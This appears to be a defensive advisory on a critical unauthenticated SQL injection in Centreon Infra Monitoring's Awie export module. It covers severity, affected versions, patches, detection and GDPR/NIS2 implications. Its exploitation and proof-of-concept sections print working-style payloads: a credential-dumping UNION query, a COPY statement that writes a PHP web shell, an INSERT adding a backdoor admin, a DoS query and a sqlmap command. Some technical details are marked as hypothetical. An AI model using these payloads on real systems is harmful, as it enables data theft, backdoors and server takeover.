Technical Analysis of EUVD-2026-0851 (CVE-2025-15029) – Centreon Infra Monitoring SQL Injection Vulnerability

1. Vulnerability Assessment and Severity Evaluation

EUVD ID: EUVD-2026-0851 CVE ID: CVE-2025-15029 CVSS v3.1 Base Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Severity Breakdown

The vulnerability is classified as Critical due to the following factors:

• Attack Vector (AV:N): Exploitable remotely over a network without authentication.
• Attack Complexity (AC:L): Low complexity; no specialized conditions required.
• Privileges Required (PR:N): No privileges needed; unauthenticated attackers can exploit.
• User Interaction (UI:N): No user interaction required.
• Scope (S:U): Impact is confined to the vulnerable component (no lateral movement implied).
• Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of data, system integrity, and availability possible.

This vulnerability enables unauthenticated SQL injection (SQLi) in Centreon’s Infra Monitoring (Awie export modules), allowing attackers to execute arbitrary SQL commands on the underlying database.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism

The vulnerability stems from improper input sanitization in the Awie export modules of Centreon Infra Monitoring. Attackers can inject malicious SQL payloads via:

• HTTP Request Parameters: Likely in API endpoints or web forms used for data export.
• Unauthenticated Access Points: The vulnerability does not require authentication, suggesting a publicly exposed endpoint.

Exploitation Scenarios

1. Database Dumping & Data Theft

   • Attackers can extract sensitive data (credentials, monitoring configurations, host details) via UNION-based SQLi.
   • Example payload:

     ' UNION SELECT 1, username, password, 4 FROM centreon.contact --
     

2. Remote Code Execution (RCE) via Database Functions

   • If the database supports stored procedures (e.g., PostgreSQL’s pg_exec or MySQL’s sys_exec), attackers may achieve RCE.
   • Example (PostgreSQL):

     '; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' --
     

3. Privilege Escalation & Backdoor Creation

   • Modifying database records to add administrative users or disable security controls.
   • Example:

     '; INSERT INTO centreon.contact (contact_name, contact_alias, contact_email, contact_admin) VALUES ('hacker', 'hacker', 'hacker@evil.com', 1) --
     

4. Denial-of-Service (DoS)

   • Executing resource-intensive queries (e.g., SELECT BENCHMARK(100000000,MD5(NOW()))) to crash the database.

Exploitation Tools & Techniques

• Manual Exploitation: Using curl, Burp Suite, or sqlmap to craft malicious requests.

  sqlmap -u "https://centreon-server/awie/export?param=1" --batch --dbs
  

• Automated Scanners: Tools like Nuclei, Metasploit, or custom scripts may detect and exploit this flaw.
• Chained Exploits: Combining SQLi with file write vulnerabilities to achieve RCE.

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3. Affected Systems and Software Versions

Vulnerable Versions

Product	Affected Versions	Fixed Versions
Centreon Infra Monitoring	25.10.0 – 25.10.1	25.10.2
Centreon Infra Monitoring	24.10.0 – 24.10.2	24.10.3
Centreon Infra Monitoring	24.04.0 – 24.04.2	24.04.3

Scope of Impact

• Deployment Models: On-premise and cloud-based Centreon installations.
• Database Backends: Likely affects MySQL/MariaDB or PostgreSQL (common in Centreon deployments).
• Exposure Risk: High if the Awie export module is exposed to the internet (e.g., via misconfigured firewalls or reverse proxies).

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4. Recommended Mitigation Strategies

Immediate Actions

1. Apply Patches Immediately

   • Upgrade to the latest patched versions:
     • 25.10.2 (for 25.10.x)
     • 24.10.3 (for 24.10.x)
     • 24.04.3 (for 24.04.x)
   • Download from Centreon GitHub Releases.

2. Temporary Workarounds (If Patching is Delayed)

   • Disable Awie Export Module: If not critical, disable the vulnerable component via Centreon’s configuration.
   • Network-Level Protections:
     • Restrict access to the Centreon web interface via IP whitelisting (firewall rules, VPN).
     • Deploy a Web Application Firewall (WAF) with SQLi protection rules (e.g., ModSecurity OWASP Core Rule Set).
   • Database-Level Mitigations:
     • Restrict database user permissions (avoid root/admin access for the Centreon application).
     • Enable query logging to detect exploitation attempts.

3. Monitor for Exploitation Attempts

   • Review web server logs for SQLi patterns (e.g., ', ", UNION, SELECT, DROP).
   • Deploy IDS/IPS (e.g., Snort, Suricata) with SQLi detection rules.

Long-Term Security Hardening

1. Input Validation & Parameterized Queries

   • Ensure all SQL queries use prepared statements (e.g., PDO in PHP) instead of string concatenation.
   • Implement strict input validation (whitelisting allowed characters).

2. Least Privilege Principle

   • Restrict database user permissions to only necessary tables and operations.
   • Avoid using superuser accounts for application-level database access.

3. Regular Security Audits

   • Conduct penetration testing and code reviews to identify similar vulnerabilities.
   • Use static application security testing (SAST) tools (e.g., SonarQube, Checkmarx).

4. Incident Response Planning

   • Develop a playbook for SQLi incidents, including:
     • Containment (isolating affected systems).
     • Forensic analysis (log review, database integrity checks).
     • Recovery (restoring from backups, patching).

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications

• GDPR (General Data Protection Regulation):
  • If exploited, this vulnerability could lead to unauthorized data access, triggering GDPR Article 33 (72-hour breach notification).
  • Organizations may face fines up to €20 million or 4% of global revenue if negligence is proven.
• NIS2 Directive (Network and Information Security):
  • Critical infrastructure operators (e.g., energy, healthcare, transport) using Centreon must report incidents to national CSIRTs.
  • Failure to patch may result in regulatory sanctions.

Threat Landscape Considerations

• Targeted Attacks on Critical Infrastructure:
  • Centreon is widely used in European IT operations, including government, finance, and healthcare.
  • APT groups (e.g., APT29, Sandworm) may exploit this for espionage or sabotage.
• Ransomware & Data Extortion:
  • SQLi can be a precursor to ransomware attacks (e.g., stealing credentials before encryption).
  • Double extortion (data theft + encryption) is a growing trend in Europe.
• Supply Chain Risks:
  • Third-party vendors using Centreon may inadvertently expose clients to this vulnerability.

European Cybersecurity Response

• ENISA (European Union Agency for Cybersecurity):
  • Likely to issue advisories urging organizations to patch.
  • May include this vulnerability in threat intelligence reports.
• National CSIRTs (e.g., CERT-EU, ANSSI, BSI):
  • Will monitor for active exploitation and issue alerts.
  • May conduct proactive scans to identify vulnerable instances.
• Private Sector Collaboration:
  • ISACs (Information Sharing and Analysis Centers) in finance, energy, and healthcare will disseminate mitigation guidance.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code Path:
  • The Awie export module in Centreon Infra Monitoring dynamically constructs SQL queries without proper sanitization.
  • Example of vulnerable PHP code (hypothetical):

    $query = "SELECT * FROM awie_export WHERE id = " . $_GET['id'];
    $result = $db->query($query); // Unsafe concatenation
    

• Exploitation Conditions:
  • The vulnerable endpoint must be accessible to the attacker (no authentication required).
  • The database user must have sufficient privileges to execute injected queries.

Proof-of-Concept (PoC) Exploitation

1. Identify Vulnerable Endpoint:
   • Fuzz Centreon’s API or web interface for parameters accepting user input (e.g., /awie/export?param=1).
2. Basic SQLi Test:

   GET /awie/export?param=1' OR '1'='1 HTTP/1.1
   Host: centreon-server
   

   • If the response differs from param=1, SQLi is confirmed.
3. Database Fingerprinting:

   ' UNION SELECT 1, version(), 3, 4 --
   

   • Determines database type (MySQL, PostgreSQL, etc.).
4. Data Exfiltration:

   ' UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables --
   

   • Enumerates database tables.

Detection & Forensics

• Log Analysis:
  • Look for suspicious SQL patterns in:
    • Apache/Nginx logs (access.log, error.log).
    • Database logs (MySQL general_log, PostgreSQL log_statement).
  • Example log entry:

    192.168.1.100 - - [05/Jan/2026:15:20:30 +0000] "GET /awie/export?param=1'%20UNION%20SELECT%201,2,3,4--%20HTTP/1.1" 200 1234
    

• Database Forensics:
  • Check for unexpected database modifications (new users, altered permissions).
  • Review query history for anomalous commands.

Advanced Mitigation Techniques

• Runtime Application Self-Protection (RASP):
  • Deploy RASP solutions (e.g., Contrast Security, Hdiv) to block SQLi at runtime.
• Database Activity Monitoring (DAM):
  • Use DAM tools (e.g., IBM Guardium, Imperva) to detect and block malicious queries.
• Zero Trust Architecture:
  • Implement micro-segmentation to limit lateral movement post-exploitation.

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Conclusion

EUVD-2026-0851 (CVE-2025-15029) represents a Critical SQL injection vulnerability in Centreon Infra Monitoring, allowing unauthenticated remote attackers to execute arbitrary SQL commands. Given its CVSS 9.8 score, ease of exploitation, and potential for severe impact, organizations must patch immediately and implement defensive measures to prevent exploitation.

European entities, particularly those in critical infrastructure, should prioritize this vulnerability due to GDPR and NIS2 compliance risks. Proactive monitoring, network segmentation, and database hardening are essential to mitigate the threat.

Recommended Next Steps:

1. Patch all affected Centreon instances without delay.
2. Conduct a forensic review to check for prior exploitation.
3. Enhance monitoring for SQLi attempts and anomalous database activity.
4. Engage with national CSIRTs for threat intelligence sharing.

For further details, refer to:

• NVD Entry (CVE-2025-15029)
• Centreon Security Advisory